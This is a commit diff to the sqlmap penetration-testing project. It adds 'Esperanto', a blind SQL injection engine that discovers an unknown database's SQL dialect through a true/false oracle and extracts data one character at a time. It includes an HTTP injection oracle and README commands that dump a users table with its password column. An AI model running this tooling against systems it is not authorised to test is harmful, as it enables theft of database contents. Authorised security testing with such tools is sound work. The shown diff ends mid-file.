Tons of improvements for Esperanto engine

This commit is contained in:
Miroslav Štampar 2026-07-22 01:06:57 +02:00
parent bdf1901a43
commit a5a7f7203a
13 changed files with 1859 additions and 320 deletions

148
extra/esperanto/README.md Normal file
View file

@ -0,0 +1,148 @@
# Esperanto
A DBMS-agnostic blind-extraction engine that speaks one "esperanto" at any SQL back-end, driven by
nothing but a boolean oracle.
## What this is
Ordinary blind SQL injection retrieval needs to know the back-end first: sqlmap fingerprints the
DBMS, loads that dialect's `queries.xml` row, and extracts with it. When the DBMS cannot be
identified - an unknown or heavily-firewalled target, an exotic engine, a fork that answers unlike
its parent - that pipeline dead-ends.
Esperanto removes the prerequisite. Given only a **boolean oracle** - a callable
`oracle(condition) -> bool` that reports whether an arbitrary SQL boolean expression holds at the
target - it discovers the dialect from scratch (string concatenation, substring / length /
character-code functions, the usable comparison operator, the catalog surface) and then extracts
data character-by-character, without ever being told which DBMS is on the other end.
The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all
supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge
as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap
imports) and runs unmodified on Python 2.7 and Python 3.
## Usage
Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual,
then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request /
comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against
an unidentified back-end:
```
python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users
```
Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`):
```
python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --dump -T users -C uname,pass
python run.py --self-test
```
The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end
of the URL. The true/false oracle is taken from `--string` / `--not-string` / `--code`, or
auto-calibrated from the response when none is given.
## How it works
Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and
keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that
filters - one form falls through to the next rather than failing:
| Primitive | Ladder (first that works wins) |
|------------------|--------------------------------|
| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` |
| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition |
| Length | a length function, else derived from the substring's end |
| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan |
| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` |
| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching |
Each candidate is accepted only against a semantic check (for example, the comparison ladder is
validated across a signed truth table, not two positive samples), so a rewriting layer that turns
`>` into `>=` is rejected rather than silently mis-reading every count and length.
Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and
version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset
(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a
discovered primary/unique key, else a physical row-id, else the row's own value.
## Interface
```python
from extra.esperanto import Esperanto
esp = Esperanto(oracle) # oracle(condition_str) -> bool
esp.discover() # ladder out the dialect
esp.identify() # best-guess product + evidence
esp.extract("(SELECT ...)") # one scalar, char-by-char
esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by}
esp.enumerate("table") # keyset catalog walk
```
- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a
transport or observation failure must raise (or return a non-boolean), which the engine treats as
*undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be
reported as `False` by the oracle itself.
- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's
enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the
package stays dependency-free.
- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*`
methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only
a strategy plus an oracle.
## Integrity model
Every recovered value carries an `Integrity` classification so a caller can tell "we visited every
position" apart from "the bytes are provably the source's":
| State | Meaning |
|-----------------------|---------|
| `EXACT` | proven byte-identical to the source (or a proven `NULL`) |
| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) |
| `TRUNCATED` | a bounded prefix; the source continues |
| `UNRESOLVED` | a character could not be recovered |
| `FAILED` | could not observe or verify |
The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe,
never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports
a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values
are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value.
## Scope and limitations
This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for
sqlmap's native retrieval. Known boundaries:
- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the
information theory of a boolean oracle (about one bit per request) and by network latency. It is
built for reach, not speed.
- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully
separated, backend-aware qualification (for example SQL Server `database.schema.table` via a
`sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort.
- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a
codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too),
resolving the common cases definitively. A column whose character set differs from the database
default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather
than asserted.
- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character
comparison modes under an ordered comparator; they do not yet drive the pattern-only or
membership-only modes, and the frozen field set does not yet carry every discovered semantic.
Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting
it as trustworthy.
## Self-test
```
python run.py --self-test
```
runs the engine against an in-memory SQLite oracle across every compare mode plus identification,
byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen
strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`.
---
Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.

View file

@ -22,7 +22,7 @@ for a built-in self-test against an in-memory SQLite oracle.
from .engine import Esperanto
from .engine import hostExtract
from .handler import buildHandler
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity
from .records import OracleUndecided, QueryBudgetExceeded
__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "OracleUndecided", "QueryBudgetExceeded"]
__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded"]

View file

@ -10,6 +10,10 @@ from .engine import Esperanto, hostExtract
from .records import (
OracleUndecided, ExtractResult, QueryBudgetExceeded)
# ratio-mode confidence margin: if the true/false similarity scores are within this of each
# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing.
_RATIO_MARGIN = 0.05
def _sqliteOracle(block=None):
"""In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
@ -218,10 +222,10 @@ def _selftest():
pass
# extract using ONLY the strategy + oracle (no Esperanto retrieval code)
got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
assert got == "Admin-42", "hostExtract via strategy failed: %r" % got
assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got
row = strat.asQueriesRow()
assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got))
print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value))
print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
@ -364,19 +368,22 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
def fetch(cond):
if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context)
u_raw = url.replace("[INFERENCE]", cond)
d_raw = data.replace("[INFERENCE]", cond) if data else data
# encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a
# '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the
# parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape.
if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context)
payload = _quote(cond, safe="")
u_raw = url.replace("[INFERENCE]", payload)
d_raw = data.replace("[INFERENCE]", payload) if data else data
else: # '*' -> boolean AND at the mark
ins = " AND (%s)" % cond
ins = _quote(" AND (%s)" % cond, safe="")
u_raw = url.replace("*", ins, 1) if "*" in url else url
d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
# keep the '='/'&' param structure, encode the rest so spaces/metachars survive
parts = urlsplit(u_raw)
parts = urlsplit(u_raw) # the surrounding URL is already user-encoded
path = parts.path or "/"
if parts.query:
path += "?" + _quote(parts.query, safe="=&")
body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None
path += "?" + parts.query
body = d_raw.encode("utf-8") if d_raw else None
method = "POST" if body else "GET"
hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
if body:
@ -406,7 +413,8 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
except Exception:
pass
_conn["c"] = None # force a reconnect on the retry
return "", 0
return None, None # transport FAILED -> undecided, NOT ("",0)
# (an empty body must never look like a False page)
dyn = set()
@ -426,6 +434,8 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
mode, wanted = "code", int(code)
else: # auto-calibrate
(t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
if t1 is None or t2 is None or f1 is None:
raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request")
dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic
tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false
@ -449,8 +459,10 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
if not string and not notString:
print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
def oracle(cond):
def classify(cond):
body, status = fetch(cond)
if body is None: # transport failure -> UNDECIDED (tri-state):
return None # let the engine retry/degrade, never a fake bool
if mode == "string":
return string in body
if mode == "notstring":
@ -462,11 +474,101 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
c = _clean(body, cond)
st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
return st >= sf
if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip
return None
return st > sf
state = {"n": 0, "dead": False}
def oracle(cond):
# PERIODIC control revalidation: over thousands of requests the baseline can drift
# (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes
# re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather
# than keep feeding a broken model into bisection.
state["n"] += 1
if state["n"] % 256 == 0 or state["dead"]:
t, f = classify("1=1"), classify("1=2")
state["dead"] = not (t is True and f is False)
if state["dead"]:
print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f))
return None
return classify(cond)
return oracle
def _safeterm(s):
"""Neutralize control/escape bytes in DB content before it reaches the terminal - stored
values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes
that would otherwise manipulate or forge the operator's console."""
if s is None:
return s
# escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI
# introducer, so leaving the C1 range through would still let stored content drive the terminal
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
def _printTable(columns, rows):
"""Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins."""
cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows]
widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))]
bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |"
print(bar)
print(line(columns))
print(bar)
for r in cells:
print(line(r))
print(bar)
import binascii as _binascii
_HEX = set("0123456789abcdefABCDEF")
def _previewFramed(partial):
"""A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress
token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles
BOTH grammars: length-framed `V<len>:<hex>;` / `N;` and the legacy `V<hex>` / `N` (','-sep).
Returns None when `partial` isn't a framed payload."""
if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial):
return None
def _dec(h):
h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far
try:
return _binascii.unhexlify(h).decode("utf-8", "replace")
except Exception:
return "?"
out = []
if ";" in partial or ":" in partial: # length-framed grammar: V<len>:<hex>; / N;
for t in partial.split(";"):
if not t:
continue
if t == "N":
out.append("NULL")
elif t.startswith("V"):
_lp, _sep, hx = t[1:].partition(":")
out.append(_dec(hx))
return ", ".join(out)
for t in partial.split(","): # legacy grammar
if t == "N":
out.append("NULL")
elif t.startswith("V"):
out.append(_dec(t[1:]))
return ", ".join(out)
def _scalar(esp, expr):
"""A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact
(truncated / case-ambiguous / unverified) value is shown with its status, never as if exact."""
r = esp.extractResult(expr)
if r.value is None:
return "NULL" if r.is_null else "n/a (unresolved)"
return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity)
def _report(esp, args):
"""Run the requested action(s) against a discovered target and print the results."""
print("[*] dialect: %r" % esp.dialect)
@ -480,7 +582,13 @@ def _report(esp, args):
if scope is None and (args.tables or args.columns or args.dump):
dbexpr = esp.dialect.identity.get("database")
try:
cur = esp.extract(dbexpr) if dbexpr else None
r = esp.extractResult(dbexpr) if dbexpr else None
# the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous
# spelling would mis-target (merge a system-schema table, yield a 0-row dump), so
# require a byte-exact read, exactly as the sqlmap handler's _safeExtract does.
cur = r.value if (r and r.exact) else None
if r and r.value and not r.exact:
print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity)
except Exception:
cur = None
if args.tbl and (args.columns or args.dump):
@ -494,10 +602,10 @@ def _report(esp, args):
print("[*] scoping to database/schema: %s" % scope)
if args.current_user:
expr = esp.dialect.identity.get("user")
print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a"))
print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a"))
if args.current_db:
expr = esp.dialect.identity.get("database")
print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a"))
print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a"))
if args.tables:
print("[*] fetching tables ...")
print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
@ -509,7 +617,7 @@ def _report(esp, args):
print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
if args.query:
print("[*] fetching %s ..." % args.query)
print("[*] %s = %r" % (args.query, esp.extract(args.query)))
print("[*] %s = %s" % (args.query, _scalar(esp, args.query)))
if args.dump:
if not args.tbl:
print("[!] --dump needs -T <table>")
@ -519,14 +627,24 @@ def _report(esp, args):
print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names
cols = esp.columns(args.tbl, schema=scope) or None
print("[*] fetching entries for table '%s' ..." % args.tbl)
result = esp.dump(args.tbl, columns=cols, schema=scope)
# NO silent internal 10-row cap: honor --stop, else dump ALL rows (by COUNT) and
# always print whether the result is complete.
if getattr(args, "stop", None):
limit = args.stop
else:
try:
limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10
except Exception:
limit = 1 << 30
result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit)
if not result or not result["columns"]:
print("[!] could not dump %s" % args.tbl)
else:
print("[*] %s (%d rows):" % (args.tbl, len(result["rows"])))
print(" " + " | ".join(result["columns"]))
for row in result["rows"]:
print(" " + " | ".join("NULL" if v is None else v for v in row))
tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort")
if not result.get("exact", True): # coverage complete but content collation-dependent
tag += " - INEXACT (case/accents may differ)"
print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag))
_printTable(result["columns"], result["rows"])
def main(argv=None):
@ -565,6 +683,7 @@ def main(argv=None):
parser.add_argument("-D", dest="db", help="database/schema to enumerate")
parser.add_argument("-T", dest="tbl", help="table to enumerate")
parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
parser.add_argument("--stop", type=int, help="max rows to dump (default: all)")
# internal dev/test harness switches - functional but hidden from --help (--live drives the
# local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
@ -586,10 +705,25 @@ def main(argv=None):
esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
args.string, args.not_string, args.code))
import sys as _sys
def _live(value): # signs of life during the (slow, blind) extraction
_sys.stdout.write("[*] retrieved: %s\n" % value)
_tty = _sys.stdout.isatty()
def _charLive(partial, total):
# LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in
# place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when
# complete, so it can't collide with the next message. Framed rows preview as cells.
shown = _previewFramed(partial)
if shown is None:
shown = partial
_sys.stdout.write("\r\033[K[*] retrieved: %s" % _safeterm(shown[-200:]))
if len(partial) >= total: # value complete -> keep it and drop to a new line
_sys.stdout.write("\n")
_sys.stdout.flush()
esp._progress = _live
def _plainLive(value): # piped/non-tty: one plain line per value, no control codes
_sys.stdout.write("[*] retrieved: %s\n" % _safeterm(value))
_sys.stdout.flush()
if _tty:
esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal
else:
esp._progress = _plainLive # logs/pipes get clean per-value lines instead
print("[*] discovering the back-end SQL dialect (agnostic mode) ...")
try:
esp.discover()

View file

@ -119,9 +119,60 @@ _MAX_HEX_CHAR_NIBBLES = 16
_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn -
# the strongest encoding signal there is (the DB tells us its own charset), and read once. A
# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one.
_CHARSET_PROBES = (
"@@character_set_connection", # MySQL/MariaDB/TiDB: the charset
# CAST(x AS CHAR) outputs (what the
# framed dump hexes), NOT @@character_set_database
"current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate
"(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle
"CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number
)
# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec.
# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really
# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true
# Latin-1. This is where reading the DB's own answer beats statistical detection.
_CHARSET_CODEC = {
"utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8",
"unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8",
"utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be",
"latin1": "cp1252", # MySQL 'latin1' == Windows-1252
"cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252",
"iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1",
"iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15",
"cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251",
"cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250",
"gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030",
"big5": "big5", "zht16big5": "big5", "950": "big5",
"sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis",
"euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr",
"eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp",
"koi8r": "koi8-r", "cl8koi8r": "koi8-r",
"ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii",
}
def _charsetCodec(name):
"""Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown.
Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively."""
import re as _re
key = _re.sub(r"[^a-z0-9]", "", (name or "").lower())
while key:
if key in _CHARSET_CODEC:
return _CHARSET_CODEC[key]
key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4)
return None
# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
# + the ',' delimiter); lets that value extract via a tiny bisection alphabet
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV"))
# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny
# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall
# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction.
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV"))
# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
@ -215,14 +266,22 @@ _BYTELEN = (
# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but
# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still
# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check
# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded;
# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap,
# so a >4000 value there is caught by per-cell source verification in dump(), not here.
_TEXTCAST = (
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"),
("cast_text", "CAST(({expr}) AS TEXT)"),
("cast_char", "CAST(({expr}) AS CHAR)"),
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"),
("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED
("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR)
("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED
("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode)
("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only)
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit)
("to_char", "TO_CHAR({expr})"),
("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
("cast_string", "CAST(({expr}) AS STRING)"),
("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
)
@ -412,6 +471,18 @@ _UNICODE_MAX = 0x10FFFF
_REPL = u"\uFFFD"
# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is
# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of
# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which
# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value.
_SOFT_WARNINGS = ("case", "collation", "recovered via hex")
def _hardWarnings(warns):
"""The integrity-class warnings in `warns` (those that impugn the recovered bytes)."""
return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)]
# py2/py3 shim: integer code point -> single char
try:
_unichr = unichr # py2

View file

@ -12,6 +12,8 @@ from .atlas import _BYTELEN
from .atlas import _CATALOGS
from .atlas import _CHARCODE
from .atlas import _CHARFROM
from .atlas import _charsetCodec
from .atlas import _CHARSET_PROBES
from .atlas import _COALESCE
from .atlas import _CONCAT
from .atlas import _DUAL
@ -67,6 +69,7 @@ class _Discovery(object):
self._discoverCompare()
self._discoverComparator()
self._discoverCharfrom()
self._discoverCharset()
self._discoverDual()
self._discoverIdentity()
self._discoverCatalog()
@ -84,7 +87,13 @@ class _Discovery(object):
self.dialect.substring = None # route retrieval to the pattern-match path
self.dialect.length = None
self.dialect.compare = "like"
# the numeric/paging comparator is STILL needed here: catalog keyset paging relies on
# it, and the constructor default 'gt'/_inOk=True would silently fail (returning only
# the first row, no warning) on the very WAF that forced this floor. Discover the real
# capability so paging uses NOT IN / brute-force honestly.
self._discoverComparator()
self._discoverCharfrom()
self._discoverCharset()
self._discoverDual()
self._discoverCatalog()
self._discovered = True
@ -212,10 +221,21 @@ class _Discovery(object):
# of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
if self._codeTmpl is None:
self._codeTmpl = False
for _, tmpl in _CHARFROM:
if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)):
# PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a
# code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364)
# is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII-
# working constructor when no Unicode-capable one exists.
for unicode_capable in (True, False):
for _, tmpl in _CHARFROM:
if not (self._ask("%s='a'" % tmpl.format(code=97)) and
not self._ask("%s='b'" % tmpl.format(code=97))):
continue
if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)):
continue
self._codeTmpl = tmpl
break
if self._codeTmpl:
break
return self._codeTmpl or None
def _substringUnit(self):
@ -281,7 +301,12 @@ class _Discovery(object):
if self.dialect.concat:
joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
props = dict(L.props, trailing=True)
self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props)
inner = "(%s)-1" % L[1].format(expr=joined)
# a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1
# is 0, which would report a NULL value as an empty string. Guard so a NULL input
# still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'.
tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner
self.dialect.length = Cap(L.name + "+dot", tmpl, **props)
self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
else:
self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
@ -290,10 +315,12 @@ class _Discovery(object):
# substring positions and the length count must be in the SAME unit, else
# the per-position walk desyncs on multibyte data
s, ln = self.dialect.substring, self.dialect.length
if s and ln:
su, lu = s.get("unit"), ln.get("unit")
if su == "characters" and lu == "bytes":
self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync")
if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes":
# HARD strategy change (not just a warning): a byte-count length would drive the
# char-indexed substring walk PAST the end of a multibyte value. Discard it so
# length is derived from the char-based substring instead - same unit, no desync.
self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring")
self.dialect.length = None
def _discoverBytelen(self):
# a *byte*-length fn - distinguished from char length with a multibyte char
@ -312,6 +339,11 @@ class _Discovery(object):
self.dialect.bytelen = Cap(name, tmpl)
return name
# casts with no length bound - hex-framing a value through these can never truncate it;
# anything else may silently shorten a long value, so dump() verifies those cells at source
_UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max",
"cast_varchar_max", "cast_string"))
def _discoverTextcast(self):
# a cast that stringifies a number: substr(cast(123),1,1)='1' and the
# negative sign survives (substr(cast(-42),1,1)='-')
@ -320,7 +352,7 @@ class _Discovery(object):
if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
self._lenEquals(c123, 3) and \
self._ask("%s='-'" % self._sub(cneg, 1, 1)):
self.dialect.textcast = Cap(name, tmpl)
self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS)
return name
def _discoverCoalesce(self):
@ -378,23 +410,44 @@ class _Discovery(object):
# 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
# code function (one compare per bisection) and recovers case under CI /
# locale collations. tried before hex because it's cheaper.
cf = self._codeCharTmpl()
for name, tmpl in _BINWRAP:
w = lambda s: tmpl.format(x=s)
if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \
not self._ask("%s=%s" % (w("'a'"), w("'A'"))):
self.dialect.binwrap = Cap(name, tmpl)
self.dialect.compare = "collation"
self.dialect.ordered = True
return "collation:%s" % name
if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and
